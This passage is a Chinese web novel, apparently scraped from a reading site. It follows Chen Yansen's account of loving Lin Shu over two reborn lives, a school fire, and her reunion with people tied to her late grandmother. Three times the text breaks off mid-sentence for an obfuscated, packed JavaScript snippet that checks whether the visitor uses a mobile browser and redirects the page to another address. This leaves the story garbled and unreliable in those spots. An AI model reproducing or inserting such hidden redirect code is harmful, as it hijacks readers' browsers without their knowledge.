每次看到她不好好写作业,下课就跑出去疯玩,他内心的情感都很复杂。一方面,他知道自己可以趁此机会努力学习超过她;另一方面,又怒其不争,觉得她浪费了一个这么好的学习环境。 此刻,看到林舒的名字在他之上,他心甘情愿地、打心底里佩服这个女孩:她真的是一个读书的好苗子。 陈彦森开始观察林舒的学习方式,发现她将学习和玩耍分得很清,该学习的时候认真学习,该玩耍的时候尽情玩耍。而有些让她看起来不那么像传统好好学生的行为,比如上课写作业,其实也是有原因的。 她已经提前预习了本节课的知识,不再需要通过上课去学习这些知识,就会通过写作业、主动找老师要试题卷的方式巩固知识点。 陈彦森开始关注她,国庆假期看到余热在群里组织大家去电玩城玩,林舒在底下热烈回应,心中一动,喜静多年的他也跟着一起去玩。 那天大家在电玩城里疯玩一个下午,陈彦森重获多年没有感知过的肆意与快乐,意识到跟同学们在一起玩是这么一件令人愉悦的事情。他的心情很好,自然而然地将这个功劳归功于林舒。 他被她的学习模式一点点改变。 因为感激林舒,离开电玩城的时候他很关注她,就走在她身后,所以她对余热说的话就这么清晰传入他的耳朵。 林舒看着飞驰而过的摩托车,感慨道:“真的太酷了!我以后得找个会开摩托的男朋友,没事就带我去兜兜风。” 这句说者无心的话在陈彦森的心里埋下一颗种子,在未来的某一天生根发芽,长成参天大树。 这个时候的陈彦森把林舒视为学习榜样,对她是感激与崇拜,真正产生了其他情感是在那个傍晚之后。 那只是一个寻常的傍晚,一起打篮球的同学摔破了皮,校医刚好不在,他去校外的药店买碘伏。 隔着马路,他看到一个孕妇正拉着林舒在说些什么,林舒用力甩开孕妇,转身就走。 街道两旁的乌桕树绚烂夺目,映在女孩坚定的脸上更是有别样的感觉。 第二天班会,宋老师用了一堂课的时间来讲不要随意相信陌生人的话,更不要随意跟陌生人去别处,即便对方看起来是需要帮助的弱者。 陈彦森几乎是第一时间明白过来—— 昨天林舒遇上坏人了。 如果不是她反应迅速、聪慧、意志坚定,她很可能就会陷入险境中。 而在她遇到危险的时候,他只是站在对面马路遥遥望着,看着她独自一人对抗危险。 是愧疚,没有在第一时间意识到同学陷于危险之中并出手相助; 是敬佩,她能冷静、聪慧、迅速察觉对方心怀不轨,并坚定拒绝与离开。 这也成了他内心极大的遗憾。 当陈彦森意识到自己产生了这样多的情感后,他知道,自己已经喜欢上林舒了。 他一直思考自己能为喜欢的女孩做些什么,最后在林舒晚自习翻墙出去买鸡腿被张级长抓到办公室骂的时候找到灵感。 他可以代替她做那个被骂的人。 只要他比她更顽劣。 他开始不穿校服,上课迟到,自习课去打篮球,最轰动的一次是与人打赌从二楼跃下。 在陈彦森的衬托下,林舒的行为反而显得小巫见大巫了。因此,张级长看林舒都顺眼多了。从前他看见林舒迟到会气得跺脚,现在看见林舒迟到会安慰自己道:只是迟到而已,没事,总比跳楼好。 陈彦森一心一意学做一个“坏学生”,等学成归来一看,家被偷了。 林舒已经喜欢上余嘉城了。 陈彦森选择将心事深藏,与林舒保持着适当的距离,做一个普普通通的同学。 而后,在大学开学后不久,他第一次收到林舒发给他的信息:【嗨,陈彦森。】 【你现在有空吗?我请你吃烧烤。】 是九月天,风中夹杂着夏日的余热和初秋淡淡的凉意。风一吹,校道两旁乌桕树刷刷作响,七彩的叶片铺满整片天空。 陈彦森激动得手都在发抖,十分钟得路程硬是五分钟就赶到饭堂。踏入食堂门口,抬头,喜欢的女孩朝他招手,冲他甜甜一笑。 这一笑,让他失了神。 他们从来没有这样亲近过。 是的,仅仅是作为同学面对面坐着吃一顿饭,在他心里都是不敢奢望的事情。 整顿饭,他害羞得不敢抬头看她,也紧张得不懂得说话。他平常不这样的,他只是学哥哥安静内敛,并不是真的安静内敛,但在喜欢的女孩面前,他真的就变成了安静内敛。 然而,在发现林舒害怕余嘉城后,他知道自己不能再沉默下去了。 从前,他藏起自己的感情,是因为他尊重林舒的心意和选择。 可现在,他发现林舒害怕余嘉城。 所以,他挡在了林舒身前。 他看到了希望,察觉到可能性,所以这一次,他不再躲起来了。 进入与情敌战斗状态的陈彦森强得可怕,他无师自通,怀惴一百个心眼子,在余嘉城追到林舒楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263585|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下纠缠的时候挺身而出,主动把脸送到余嘉城拳头底下,硬扛下这结实的一拳,获得心上人的垂怜。 不得不说,这一招是真奏效。 两人逐渐靠近,陈彦森也从林舒口中得知她是重生的。 他好奇他们上一世的故事,但是他尊重她,她不说他便不问。没了余嘉城这一情敌,他得以从阴暗角落里走出来,光明正大地以好同学的身份陪在她身边,一起进社团,一起去支教,一起参加竞赛,一起熬过可怕的台风天。 他陪着她,她也陪着他,两人从三年说不到十句话的普通同学,到成为彼此生命中极其重要的人,一起经历了困难与生死。他也在她一次崩溃大哭中了解到,上一世他们的故事。 原来,上一世为了救她,他在一场火里失去左腿。 得知一切后的陈彦森松了口气。 幸好,上一世的他也是这样爱她。 真好,这一世的他也是这样爱她。 除了这件事以外,林舒还提到2024年12月20日。 他不知道这是一个什么日子,但知道这一日对林舒来说很重要,重要到她在做一切决定之前都要首先考虑它,重要到他在那一刻便下定决心要陪她度过。 她不说他便也不问,他就这么陪伴着她,她陪伴着他,他们来到了2024年。 12月19日夜晚,他把车子停在南苑二小校门口。12月的夜晚风烈得刺骨,但他就这样站着,定定望着还亮着灯的办公室,等到其他老师陆续离开,等到过了零点,终于等到林舒走出来。 他陪在她身边十二年,清楚她任何细微表情的意思。 他读懂了,难关已过。 陈彦森心情很好,在林舒家楼下等了一夜也不觉疲惫,送她上班的路上没忍住说出憋了十二年的话。 “我喜欢你。” 他真的等了太久,一直在等合适的时候,在等林舒觉得舒服的时候,在等林舒一切都准备好的时候。 林舒看起来有些羞涩,她没有拒绝,而是约他今晚一起吃饭。 他知道,他们的关系可以更近一步了。 陈彦森心情雀跃,提早去预定了餐厅,买了林舒最喜欢的向日葵,三点准时出现在校门口,准备接他心爱的女孩下班。 火灾是这时候发生的。 他在校门外迟迟等不到林舒出来,打她手机也无人接听,情急之下跑进学校,直奔起火点。 以他对林舒的了解,她绝对是能为学生拼上性命的人。他来到起火的杂物间,看到在外面不断泼水的李洛诗,更是肯定了他的想法。 他问:“林舒是在里面吗?” “是,她去救李星星了,我们班的一个孩子。”李洛诗急得落泪,“怎么办啊,这火势这么大,怎么都灭不了。” 李星星。 陈彦森明白了。 他脱下外套,踏进火场,火舌迅速卷上他的裤腿,舔舐着向上攀。火光跃动中,他隐约看到书柜底下躺着一个小女孩,拼尽全力抬开书柜,把她抱出火场,又马上折返。 这一次,他没再出来。 到这一年为止,他爱她十二年。 69. 陈彦森的自白(二) 陈彦森睁开眼。 他茫然地低头看了看自己身上穿着的高中运动服,手上提着药店的袋子,一时搞不清是什么情况。 接着,他抬起头。 视线穿过川流不息的车辆,落在对面马路的女孩身上。 穿着南苑中学高中校服梳着马尾辫的女孩,孕妇,拉扯。 记忆如电流般钻入他脑子里,陈彦森几乎是条件反射般冲进马路,大喊:“林舒!别信她!” 他不知道自己为什么会回到这个节点。他只知道这是他心动的开始,也是他最遗憾的节点。 既然重生回来,他便不能再像上一世那样袖手旁观。 他一把拉过林舒,将她护在身后。 过去,每每想起此事,他都很懊悔当时为什么像个傻子一样定在原地,为什么没有迅速反应过来护住她。 这一次,他终于做到了。 他终于护住了他最心爱的姑娘。 原本这一天死而复生,能再次遇见林舒,陈彦森的心情是十分雀跃的。但是,当他晚自习下课回到宿舍,翻出日记本,心情陡然坠入冰窖。 他有写日记的习惯,所以将每日发生的事情都记下。 送流鼻血晕倒的林舒去校医室、送不识路的林舒回家、给林舒补习、中秋节蜡花、电玩城大象挂件、林舒雨中救下呼吸骤停的宋心悦、林舒在义卖中为他出头…… 这些事情在上一世根本没发生过,所以重生回来的陈彦森根本就不知道这一世发生了这些事情。 他攥着日记本,心脏砰砰直跳。 他意识到,林舒也重生了。 这很合理,他没有走出那场大火,重生了,那么她没有走出那场大火,也重生了。只是,林舒比他更早重生。 在得知自己重生后,看到这本日记前,陈彦森原本是打算这一世要先于余嘉城一步,在林舒面前好好表现、散发个人魅力,让两人故事始于高一。 然而,看完日记后,陈彦森不禁想,如果林舒现在知道他也重生了,知道他因为她死于那场火里,会作何感想?会做出什么举动? 重生最忌蝴蝶效应。他们现在的关系已比上一世亲近太多,早已偏离原轨道,如果再加入变量,他们这一世很可能不会过上一世的人生,不会再遇到李洛诗、刘沐鑫他们。 这个想法在第二天林舒迟到被张级长批评的时候,更是完全坚定下来。 陈彦森开始与林舒保持距离,开始拿出顽劣不堪的脾性转移张级长的注意力。 那天他从二楼跃下,意料之中地被张级长叫出办公室批评。他从办公室出来,看到林舒在外面等他,假装看不见她想要离开,却被她拉住手臂。 “陈彦森,为什么?”她的声音在发抖。 陈彦森强忍想要转身抱紧她的冲动,压下心中的酸涩,冷冷丢下一句。 “我们没那么熟。” 迅速上楼,拐弯后停下。 他背靠着楼梯扶手,心痛得都快呼吸不了了。 太痛了,真的太痛了。 只能这么做吗?他问自己。 只能这么做。 陈彦森站在教室后门,拦住小心撞到她的林舒。 刚刚晚自习下课,他在琴房弹琴,突然听到外面有响声,开门一看,是摔在地上的林舒和一脸不知所措的余嘉城。 陈彦森不记得上一世有发生过这件事,大脑飞速运转,但一时之间也没想到该怎么应对,只得跟着失了魂的林舒回教室。 “陈彦森,是你吗?”林舒眸中含泪,哑着声音问。 对不起,陈彦森在心里说,对不起林舒,我不是有意不与你相认的,但现阶段我没有更好的办法处理这件事了。 陈彦森克制住内心翻涌的思绪,极力用最淡的语气说:“我没听懂你在说什么。” 说这句话的时候,陈彦森听到哐当一声,是心碎掉的声音。 …… 陈彦森极力维持上一世高中时期的人设,与林舒保持距离做普通的同学,但心里热烈的思念与自然而然追随她的目光是怎么都控制不了的。 因此,校运会的时候林舒背着垃圾袋摔倒,他第一时间就赶到了。 理性告诉自己不要管她,不要冲动,不要靠近她,不然之前所做的一切都将功亏一篑。但是人是情感动物,陈彦森没办法持久地与内心情感做对抗。 也是因为他冲动了,他陪林舒去西沙村,意外得知她家中发生变故。看着她一脸泪痕,他内心的坚定开始动摇。 一方面他知道自己不可以过于靠近她,另一方面他又抑制不住内心的思念。他明知不可为而为之,克制着自己注意分寸和距离感,如果向她靠近两步,就逼迫自己后退一步。 更多时候,他在她身边扮演一个安静的陪伴者。陪伴是有力量的,他无比坚信着这一点。 只是,经历这一切后的林舒不再是他上一世认识的模样了,她变得沉默、少言,时常会一个人静静发呆,也不那么爱笑了。 陈彦森看着她的转变,心疼不已。 …… 高考后,尤其是高考分数线出来后,陈彦森确保两人都能上南苑大学,并且都是选择上一世的专业后,看着他们会按照上一世的轨迹继续前行,心头大石落下,变得异常主动,像一块狗皮膏药贴着林舒。 在大沥岛尚爷爷家的时候,饭后陈彦森在洗碗,林舒和钟奶奶在院子里聊天。 饭前林舒说要做饭,他委婉拒绝。因为他记忆中林舒的厨艺,是仅仅会做脆皮肠炒鸡蛋的水平。后来拗不过她,只能让她掌勺,他在一旁紧张盯着,生怕她把老人家的厨房给炸了。 出乎意料之外的,林舒炒菜非常娴熟。他心一疼,知道她这些年来吃了不少苦。 洗碗的间隙里他不经意抬头,看见林舒拿出一卷画像,并说着什么。他立刻关上水龙头,侧耳细听,因为林舒说话声不大所以他听得不是很清楚,只依稀听到“星……25岁……” 但已经足够了,陈彦森几乎是马上就反应过来。 她在找李星星。 这里属于海莲市,她来这里找李星星的线索是合理的。 他知道李星星对于林舒的意义,知道林舒一直以来很遗憾没能救下她,所以他也想为她分担点什么。 他将目光锁定在咖喱身上。 咖喱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271269|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是领队,带领过多支大沥岛的志愿者队伍,认识的人多。因此,第二天出工的时候,他刻意与咖喱多聊天,带她上分,以此熟络起来,再借机问她是否认识一个叫李星星的人。 可惜很遗憾,最后也没有找到关于李星星的消息。 整个大学生活,他们大致过得跟上一世一样。在尽力维持与上一世轨迹一致的同时,他在暗处配合林舒修正李洛诗、张绵绵、楚卿的人生。他隐藏得很好,林舒并没有起疑心。 可是在李星星事件上,林舒还是起疑心了。 决赛结束后,陈彦森留下来处理收尾工作,等他赶到妇幼医院五楼时,看到林舒半个身子在窗户外。在那一刻他已顾不上身份暴露,只想要马上把她抱下来,带她到安全地方,要捂住她的眼睛,她岌岌可危的精神状态经受不起再一次打击。 她情绪很差,甚至出现了幻觉。他心如刀绞,却又无计可施,想告诉她尽力就好,想告诉她或许影响历史轨迹的事情就是无法改变的,想告诉她真的超棒的,最后千言万语化成台风夜里的一个拥抱。 关于林舒起疑心,陈彦森在去妇幼医院之前就有所准备的。所以在林舒弹错音版的花之舞试探之时,他能做到面不改色。 不动声色的外表底下,内心翻涌成海。 明明约定好下辈子见面的记号是什么,明明她就在眼前,他却不能相认。 不能相认,他对自己说,有可能的话,就瞒她一辈子吧。 重活一世,陈彦森并没有打算要改变什么,也不打算创造什么,他没有宏大的志向,只想好好陪在林舒身边,陪她做她想做的任何事。 这一世她受到的打击已经够多了,不能再让她难受了。 陈彦森尽可能地替林舒分担。 为了避免刘沐鑫再像上一世被裁,大学毕业后,陈彦森就极力邀请刘沐鑫一起创业。当然,不是口头说说而已,他们签订了具有法律效应的期权合同,约定三年之内,如果刘沐鑫的技术能为公司带来500万收入,陈彦森就给他10%股份。 接下来就是最关键的,阻止那场大火。 陈彦森记得起火点是杂物间,至于起火原因得去实地考察。他从林舒和李洛诗的对话中偷听到老师们明天会回学校做迎新工作,这是溜进学校的极佳机会。 但他没想到的是,他俩竟心有灵犀到这地步,想到一块去了,并选在了同一天。 他迟了一步,到的时候刚好看到林舒溜进杂物间。他第一反应是马上离开,免得被林舒发现,但是又怕她单独行动遇到麻烦,就躲在不远处盯着。 果然,被他看到保安巡逻到杂物间外,眼看就要推开大门,他连忙制造出噪音吸引保安注意。 这招奏效,他成功把保安引走,却忽略了腰间正挂着大象挂件。 他非常宝贝这只大象挂件,穿休闲服的时候,他会将它挂在腰间,这已经成为一个习惯。 出门前,他习惯性地把它带上。 却不曾想,林舒对他的了解程度,即使是在这样昏暗的环境下都能一眼认出反光的挂件。 他知道,瞒不住了。 所以,他弹下错音版的花之舞。 70. 完结篇(一) 这段时间,林舒一直在生闷气。 那晚在南苑二小,她看到引走保安的黑衣人身上的反光物,外型极像陈彦森随身挂着的大象挂件。 后来,她赶去陈彦森家里,看到他穿一身黑,以及他身上挂着的大象挂件。 一切明了。 那个黑衣人,是他。 她从未跟他说过上一世的火灾事件,这一世她也没进南苑二小当老师,而他出现在这样敏感的时间里,只能有一个原因。 他跟她一样,都重生了。 林舒虽不清楚他是什么时候重生回来的,但大致猜到他的死亡原因。 那天,本是他们确认关系的日子,他在校门口等她下班很正常,所以他看到着火很正常。 以他对自己的感情,他冲进火场救她,也很正常。 就是因为一切都看似正常,非常符合陈彦森的行为,林舒才更生气,导致行为偏激,拉黑陈彦森的一切联系方式,拒绝跟他见面。 为什么要对她这样好呢?好到连命都不顾。 为什么要这么做呢?生命真的很珍贵,不该为他人放弃。 “为什么呢?”林舒泪眼汪汪。 “没有为什么,感情从来不讲道理。”陈彦森声音很轻,带着浅浅的笑。 “是因为十二年吗?”她追问。 到了这时,她才知道,陈彦森竟是从高一开始喜欢她的。 她一直以为陈彦森是大一喜欢上她的,所以这一世她曾想过只要高中减少接触,陈彦森就不会喜欢她,也就不会有之后的故事了。 “不,不是十二年,”陈彦森纠正,“两世相加,是二十四年。” 这时候还顶嘴,林舒气得打了他一下:“你真行啊,在我面前装了十二年,瞒了我十二年。” 她越说越气,越气越委屈,眼眶逐渐濡湿:“我一直以为,那些事,只有我记得……” “对不起。”陈彦森想要抱她,被她用力推开,他一把攥住林舒的手腕,另一只手顺势搂住她的腰,在她耳边轻声重复:“对不起。” 对不起,我不是有意瞒着你的; 对不起,我不是有意要疏远你,对你说语气重的话; 对不起,对不起…… “那你还有什么瞒着我吗?”林舒问。 “确实还有一件事,是关于钟奶奶的。” “钟奶奶?”林舒对这个答案十分意外。 陈彦森点头,问道:“你死后有见过一个老婆婆吗?在游乐场里的游客服务中心里。” “有。” “那看来是每个人死后的必经之路了。”陈彦森说,“我在钟奶奶家里,看到她和这个老婆婆的合照。” “合照?”林舒不可置信地重复一遍,“钟奶奶和老婆婆的合照?你确定没看错?” “我很确定。照片里的老婆婆跟我见到的一模一样。” 林舒皱了皱眉,没有说话。 这些年来,皱眉已成了她的习惯。她在说话、思考的时候,会习惯性皱眉,陈彦森提过好几次,但她怎么都改不掉。 陈彦森伸手揉了揉她的眉心,轻声问:“在想什么?” “我在想,我是不是要去钟奶奶家一趟。”林舒说,“那个老婆婆虽然说话硬邦邦的,但我能感觉到她是关心我的,那次……” 她本想说,老婆婆给她水喝,给她冰冷的衣服降温,但话都嘴边,看着陈彦森关切的眼神还是硬生生吞下,改说:“总之,她挺好的,挺好的。” “那我们一起去找钟奶奶。” “你也去?”林舒又忍不住皱眉,但被陈彦森按着眉心,不得不舒展开来,小声嘟囔道:“可我还是有点生气诶。” “别气了别气了,”陈彦森拉着她的手臂来回晃,“我都跟你解释清楚了,这么做都是有原因的。” 林舒撅嘴,不语。 陈彦森见这招不行,继而转变策略:“我的事情都跟你说了,你就没什么要跟我说的吗?”他步步紧逼:“你不打算跟我说说12月20日吗?” 林舒一愣。 在找到打破死亡魔咒的办法之前,她并不打算告诉陈彦森,徒添担心和烦恼。 眼看陈彦森就要松开她的手,她赶紧一把抓住,说:“这时间还长着呢,等以后有机会再跟你说。” “还等?” “等,当然要等。这么重要的事,我肯定得择个良辰吉日慢慢跟你说。” “此话当真?”陈彦森持怀疑态度。 林舒拍拍胸脯:“千真万确。” “那行,”陈彦森见林舒态度软下来,顺势说,“我们一起去找钟奶奶。” 林舒:“……?” 怎么回事?怎么感觉被套路了? 陈彦森搂着她的肩,“走啦。” “我没说要跟你一起去!” “啊?你说什么?我听不见——” …… 大沥岛。 17年雄鹰台风在岛上肆虐一番,如今七年过去,岛上一切恢复如初。林舒重新踏上这片土地,昔日做志愿活动的种种回忆涌上心头。 这一世重生发生了太多事情,除了丁敏和李洛诗,林舒刻意与遇到的人保持安全距离。她担心蝴蝶效应,亦害怕多结识一个好友日后就多一个为她哭泣的人,干脆收起心,做一个淡漠的人。 他们走着,来到矮屋前。 周遭一切蒙上橙色的光晕,时光倒流,人和景迅速后退,他们回到九年前,陈彦森抓着门环敲了两下,里面传来一声“来噜”,大门被徐徐打开,一个老奶奶探出头来。 老奶奶老了许多,背更驼,脸上皱纹更深,动作也更迟缓了。但这次她的视线却时先落在林舒身上,浑浊的眼珠子突然变得清亮,张了张嘴:“小,小舒,是你吗?” 直到老奶奶身上的橙色光晕褪去,林舒才反应过来这不是记忆,而是此时此刻真实发生的。 “小舒,”钟奶奶又说,“奶奶有没有看错?是你吗?” “是我是我,”林舒抓着钟奶奶的手抚上自己一直戴着的金刚结手绳,“钟奶奶,林舒来看您了。” “是小舒,”钟奶奶紧紧抓着林舒的手,回头往屋里喊,“老头子!小舒来啦!” 尚爷爷拄着拐杖从屋里走出来,颤颤巍巍的,但精神还是很好:“小舒,小森,是你们啊,快进来。” “我终于被发现了。”走进院子的时候,陈彦森小声向林舒嘀咕,“钟奶奶刚刚是一眼都没瞧我。” “小气鬼。”林舒笑着用手肘撞了他一下。 他们进屋里坐下,尚爷爷已沏好茶给他们倒上。从大门到屋内,钟奶奶一直紧紧握着林舒的手,慈爱地打量着林舒。 尚爷爷道:“你们钟奶奶啊,一直盼着你们来,一直盼着小舒来。” 七年前雄鹰台风后,陈彦森把尚爷爷和钟奶奶接到自家在海莲市的房子,待大沥岛重建完毕,他才把二老送回去。过后的每一年,他都有来探望二老,并带着林舒亲自挑选的补品。 林舒低下头:“不好意思,是我不好,我应该跟陈彦森一起来的。” “没关系。”钟奶奶摩挲着林舒的脑袋,轻轻地,像抚摸自家的宝贝。 七年前,报纸版头是关于这场台风带来的损失和灾后重建的安排,在最下方有一个不起眼的小方框。钟奶奶戴着老花眼镜,一开始没注意到,在翻页前余光瞥到三个字,瞬间吸引她的注意力。 李星星。 报道下方还有一张模糊的监控截图。 但她还是马上将它与林舒那卷画像联系起来。 当她仔仔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287396|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细细把这篇报道读完,她明白林舒那天晚上的皱眉和沉默,也理解这七年来她只通过陈彦森传递思念与祝福,并未再踏入海莲市一步。 “没关系,奶奶不怪你。”钟奶奶温柔地说,“奶奶只是想念你。” 武装坚硬的心一下子被击中,花费数年铸造起来的盔甲在顷刻间粉碎,露出里面那颗鲜红的、跳动着的心脏,林舒突然懂得“逝者长已矣,生者如斯夫”的道理。 逝者已逝,我们当怀念;生者仍在,我们要好好在一起,创造更多美好回忆。 她仰起脸,冲钟奶奶一笑:“我们以后会多来看望您。” “好,好,”钟奶奶也跟着笑,眼角带泪光,“奶奶会一直在这等你。” 尚爷爷端着饭菜过来:“来来来,吃饭噜。” “吃饭,”钟奶奶擦擦眼角,把筷子塞给林舒,“快吃饭吧。” 林舒:“谢谢奶奶。” 尚爷爷:“今天这顿饭是志愿者做的,大家快尝尝璐璐的手艺。” “璐璐?”林舒一怔,“是王璐璐吗?” 15年来大沥岛做志愿活动的时候,王璐璐是她的舍友。当时王璐璐自告奋勇要帮忙一起找李星星。 “对呀,王璐璐,当时跟你们是同一批志愿者,也是拿着画像到处……” 尚爷爷正说着,被钟奶奶一瞪眼提醒,马上意会,转换话题:“她现在做了老师,每年趁着暑假会来岛上做志愿者。” “那她现在还在吗?”林舒说着,不禁直起腰,准备起身。 钟奶奶一眼看穿她的心思,拍拍她的肩膀,说道:“她已经走了。” “走了?” “她去年结婚了,这次也只来了一个星期,告诉我们她怀孕了,恐怕以后不能常来了。”钟奶奶说,“大环境下女人有了孩子后难免要为家庭做出一些牺牲,我们都能理解的,只是舍不得。” 尚爷爷:“一开始是咖喱,她结婚后还断断续续来了两三年,之后就没再见过她,璐璐接替了她的工作。我们都很喜欢璐璐这个孩子,善良、贴心,她啊,还时不时跟我们提起你呢。” “我?”林舒睁大眼睛。 “是啊。她说,林舒这个小姑娘啊,第一次见她的时候才刚满18岁,这么多年过去了,也不知道现在过得怎样了,在做什么工作?谈恋爱了吗?是不是跟那个姓陈的小子在一起呢?” 说到这,尚爷爷望了陈彦森一眼,笑呵呵地继续说:“我们问她,要不要姓陈那小子的联系方式,可以通过他联系到林舒。” “那她怎么说呢?” 林舒内心五味陈杂,懊悔,不知所措。这些年来,她努力远离人群,不与更多的人建立紧密联系,但有些联系已在不知不觉中建立。 尚爷爷:“她摇摇头说算了,不要去打扰别人了。她说,这是很正常的事情,参加志愿活动就是这样,看着人来来往往,有的人在分别那一刻就忘记了,有的人看起来没什么特别却一直记在心里。她就是记性好而已。” 有时候,记性好并不见得是一件好事。人这一生会遇见许多人,如果记住绝大多数人,并把他们都放心上,你的心会被填得很满很满,满得甚至无法把自己装下。 林舒的视线越过餐桌,落在对面墙上贴着的照片,有一些黑白照,是青年男女的合照,大概是钟奶奶尚爷爷年轻时与朋友的合照;也有一些彩照,是钟奶奶尚爷爷和志愿者的合照。 最后,她的目光落在最右下角的彩照上。照片里,老年钟奶奶与一位老婆婆靠坐在一起,对着镜头笑得很灿烂。 林舒呼吸急促起来,她马上转头看陈彦森,后者也正看着自己,朝她点了点头。 林舒觉得自己双脚已不听使唤,麻木地走过去,指着照片,声音颤抖。 “钟奶奶,她是谁?” 71. 完结篇(二) 回到南苑,林舒投入紧锣密鼓的工作中去。 每年国庆期间都是婚庆公司最忙的时候,现在距离国庆还有一个月,所有工作都要迅速推动起来。 林舒这段时间不仅要安排国庆期间的婚宴工作,而且还要完成近期的婚宴,忙得脚不沾地的。 这天早上,她起了个大早,八点前就出门前往婚宴地点。 她开着公司的小车,载着婚宴布置所需的物料,驶进宝宁路。 前面是红灯,她踩下刹车。 这个点正是小学生上学的时候,小小的娃娃穿着统一的校服,手拉着手有秩序地穿过马路,胸前的红领巾被风带起,高高扬起。 真有朝气呀。 林舒看着他们,嘴角不禁上扬,下巴抵在搭在方向盘的手背上。 就在这时,对面车道有一辆大货车直直地往斑马线冲过来。明明是红灯,它地车速却是极快,并且完全没有刹车的意思。 林舒一转头,看到一旁的学校牌匾:南苑市第一小学。 也是在大脑读到这几个字的那一刻,一个封存多年的记忆突然涌入: 蓝底白字的图片,上面写着四个大字:【警情通报】。 【2024年9月2日7时45分,南苑市宝宁路发生一起货车碰撞行人的交通事故,致11人经抢救无效死亡(其中家长4人,学生7人)、2人危重,16人受伤住院治疗(暂无生命危险)。公安机关组织民警迅速到场,将嫌疑人钟某(男,52岁)当场控制,事故原因正在调查中。】 “11条人命,其中还有7个孩子呢。”李洛诗叹了口气。 李洛诗又说:“我看别人说,这个货车司机是故意的,不然不会这样反复前进后退。他自己过得不如意,就对比他弱小的人下手!” 林舒视线一转,落在汽车仪表盘上:9月2日7:44。 几乎是在看到时间的那一秒,林舒迅速换挡,一脚把油门踩到底,仪表上的指针一瞬间滑到最右,小车以一个奇怪的姿势冲向对面车道。 砰—— 这声巨响完全盖过校园里的早读预备铃。 …… 林舒把手搭在亡魂服务中心的木门上,就这么站着,没有推开门。 屋内传出一个声音:“既然都来了,怎么不进来?” 林舒犹豫了一下,还是推开门。 叮铃铃—— 门上的风铃发出响声。 屋内的陈设和记忆中没什么差别,老婆婆的模样也没有变化,她就这么静静站在服务台前,看着推门进来的林舒。 林舒抵着门,没有马上进来。 老婆婆见她反应迟缓,又生气又心疼,从服务台后面绕出来,向林舒走来:“你这孩子,怎么又来这了?你之前都不是这个时间点,这次怎么早了这么多天?你,你就不知道爱惜自己吗?你妈妈知道得多心疼啊!” 老婆婆拉林舒进屋坐下,见她还是没什么反应,从一旁的架子取下一个盘子,放在桌子上。 “饿吗?吃点东西吧。”她说。 是一盘面包,散发着刚烤熟的面包香气。 林舒拿起其中一块,竟然是热乎的,与冰冷的死人世界格格不入。 她咬了一口,浓郁的奶香味和绵密的红豆味瞬间席卷她的味蕾,是她最喜欢的鲜奶油红豆包,一款她自小就喜欢吃的面包。她认为要填饱肚子才能好好生活,所以平常出门都会带在身上,饿了随时能吃。第四世刘沐鑫和李洛诗闹矛盾,林舒折回去找刘沐鑫聊天的时候,还拿了一块给他吃。 她呆呆地看着被咬了一口的面包,眼泪扑簌落下。 老婆婆见状慌了神,连忙拿纸巾给林舒擦眼泪,着急地问:“很难吃吗?难吃到这个程度吗?” 林舒摇摇头,转过头正视老婆婆的眼睛,声音很轻但很坚定:“外婆。” “你……”老婆婆拿着纸巾的手一顿,“你叫我什么?” “外婆。”林舒重复一遍。 “我在钟奶奶家里,看到您的照片了。” …… 把时间往回拨,回到在大沥岛的那天。 林舒指着照片里的老婆婆,问:“钟奶奶,她是谁?” 钟奶奶看起来很意外:“你记得她?” 不是说认识,也不是说认得,而是说记得。 这个老婆婆果然不是普通人。 林舒说:“我见过她。” 林舒没办法解释为什么见过她,在哪里见过她,为什么会在意她是谁,只能以这么模糊的说辞。 钟奶奶缓缓起身,走到照片前,看着照片中的老婆婆,说:“她是我最好的朋友。” “也是你的外婆。” 外婆?林舒瞪大双眼,不可置信地看着钟奶奶。 她的外婆在她三岁那年去世,那时正是千禧年,并不是每家每户都有相机,家里自然也就没有留下外婆的照片。三岁的孩子还记不住人,所以她的记忆里,是完全没有外婆的身影的。 钟奶奶:“她是你的外婆,苏妙仪。” “这是什么时候拍的?” “你三岁那年。她带着你来海莲找我玩,留下了这张照片。”钟奶奶说,“我还记得你第一次来的时候,对我们家门上的风铃很感兴趣。” “风铃?”林舒身躯一震,“风铃在哪?” “就挂在后门上。”钟奶奶指了指后门的方向。 林舒顺着她手指的方向望去,门上的风铃经过岁月的洗礼已显陈旧,很多零部件已经褪色了,但是还是能看出原来的模样——是绿色的竹子风铃。 跟亡魂服务中心木门上的风铃一模一样。 林舒呼吸急促,大脑一片混乱,她手撑桌面支撑着身子,又问:“那我们后来还去了哪里?” “海莲市儿童公园。” 